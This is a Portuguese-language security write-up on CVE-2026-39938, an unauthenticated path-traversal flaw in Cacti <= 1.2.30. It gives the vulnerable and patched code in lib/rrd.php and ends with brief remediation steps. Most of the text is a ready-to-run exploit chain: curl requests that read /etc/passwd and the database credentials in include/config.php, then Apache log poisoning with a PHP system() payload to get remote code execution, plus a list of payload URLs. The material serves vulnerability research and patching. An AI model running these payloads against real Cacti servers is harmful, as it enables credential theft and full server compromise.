CVE-2026-39938: Cacti <= 1.2.30 - LFI não autenticado

Resumo Executivo

Campo	Valor
CVE ID	CVE-2026-39938
Pontuação CVSS	9.8 (Crítico)
Produto Afetado	Cacti
Versões Afetadas	<= 1.2.30
Versão Corrigida	1.2.31
Commit de Correção	9871f0c

Detalhes da Vulnerabilidade

Causa Raiz

A vulnerabilidade existe em lib/rrd.php onde o parâmetro graph_theme é usado diretamente sem sanitização:

CÓDIGO VULNERÁVEL:

if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

CÓDIGO CORRIGIDO:

if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

O problema: Nenhuma validação contra sequências de travessia de diretório ../, permitindo que atacantes leiam arquivos arbitrários sem autenticação.

Prova de Conceito (PoC) - Passos Simples

Passo 1: Verificar Vulnerabilidade - Ler /etc/passwd

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

Resultado: O conteúdo do /etc/passwd será exibido na resposta.

Passo 2: Ler Configuração do Banco de Dados

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

Resultado: As credenciais do banco de dados (usuário, senha) serão expostas.

Passo 3: Execução Remota de Código via Envenenamento de Log

3.1 Injetar Código PHP no Log do Apache

curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

3.2 Executar o Código Incluindo o Arquivo de Log

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

Resultado: A saída do comando (ex.: uid=33(www-data)) será exibida.

Endpoints Comuns Testados

Exemplos de URL da PoC

Teste LFI Básico

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

Ler Configuração da Aplicação

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

Envenenamento de Log (Injeção)

http://target-cacti/graph_image.php?local_graph_id=1

Com Cabeçalho: User-Agent: <?php system('id'); ?>

Envenenamento de Log (Execução)

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

Remediação

Atualizar para a Versão Corrigida

cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

Verificar se a Correção foi Aplicada

grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

Mitigação Temporária (.htaccess)

RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]

Referências

W.P.E.F

Relatório gerado para fins de pesquisa em segurança Data: 27 de junho de 2026

`/graph_image.php`	`graph_theme`	`../../../../../../../etc/passwd`
`/graph_image.php`	`graph_theme`	`../../../../include/config.php`
`/graph_image.php`	`graph_theme`	`../../../../../../../var/log/apache2/access.log`

By-Poloss..-..CVE-2026-39938

Mais Populares